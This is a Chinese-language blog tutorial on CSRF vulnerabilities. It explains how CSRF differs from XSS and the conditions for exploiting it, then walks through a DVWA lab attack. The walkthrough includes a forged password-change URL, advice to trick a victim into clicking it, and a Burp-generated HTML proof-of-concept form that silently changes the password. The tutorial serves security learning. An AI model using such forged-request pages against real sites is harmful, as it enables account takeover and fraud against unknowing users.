CSRF漏洞

寵の児 提交于 2020-01-07 08:18:42

CSRF漏洞也叫夸站脚本伪造

  • XSS和CSRF的区别

  • 从信任的角度来分析的话

    • XSS:是利用用户对站点的信任
    • CSRF:利用站点对客户端的信任
      - 默认情况下站点是对客户端不信任的站点只会对已经身份验证过的客户端有一定的信任

利用

  • 结合社工在身份认证会话过程中实现供给

    • 修改账号密码、个人信息(email、收货地址)
    • 发送伪造的业务请求(网银、购物、投票)
    • 关注他人社交账号、推送博文
    • 在用户非自愿、不知情的情况下提交请求
    • 下面这样黑客就叫你的用户密码给盗取了

    在这里插入图片描述
    还有好多不如骗访问量和投票量还有广告还有产品推广
    比如我们发送一个链接点击这个链接就会给我投票等等等

业务逻辑漏洞

  • 服务器对关键操作缺少确认机制
    • 提交密码修改没有确认机制,还有二次认证,确认机制就是列我们每次登陆一个帐号密码之后都会出现一个验证码这个就是确认机制
  • 自动扫描程序无法发现此漏洞
    • 无法检测的是否是恶意的修改密码,自动扫面程序是检测不出来的应为都是正常提交数据

漏洞利用条件

  • 被害用户已经完成身份认证
  • 新请求的提交不需要重新身份认证或确认机制
  • 攻击者必须了解 Web APP 请求的参数构造
  • 诱使用户触发攻击的指令(社工)

实验开始

  1. 下面这个带有CSRF漏洞的服务器
    下面输入密码直接就可以确认修改没有如何认证机制
    在这里插入图片描述
    用Burp截断下来
    在这里插入图片描述
    在kali开一个服务器里做一个简单的页面
    在这里插入图片描述

    http://192.168.43.245/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
    

    也可以做成一个网页叫客户端点击如果客户端一旦点击了密码就被修改了
    用上面的URL地址做成一个简单的网页
    在这里插入图片描述
    查看看看能不能访问这个网站的网页
    可以正常访问
    在这里插入图片描述
    叫这个地址发送给目标一点击就修改了密码
    点击之后密码就被修改了
    在这里插入图片描述
    黑客不能判断是否程序被执行,只能等一段时间登陆一下看看用我发送请求里面的密码是否等登陆成功
    上面已经点击了
    下面我就可以登陆成功
    在这里插入图片描述

  2. 还可以用Burp生成一个按钮
    叫截断下来的修改密码请求给做成.html
    在这里插入图片描述
    叫里面的代码复制了
    在这里插入图片描述

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.43.245/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="password" />
      <input type="hidden" name="password&#95;conf" value="password" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

保存到服务器的a.html里看看效果
在这里插入图片描述

上面演示的是低安全级别

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!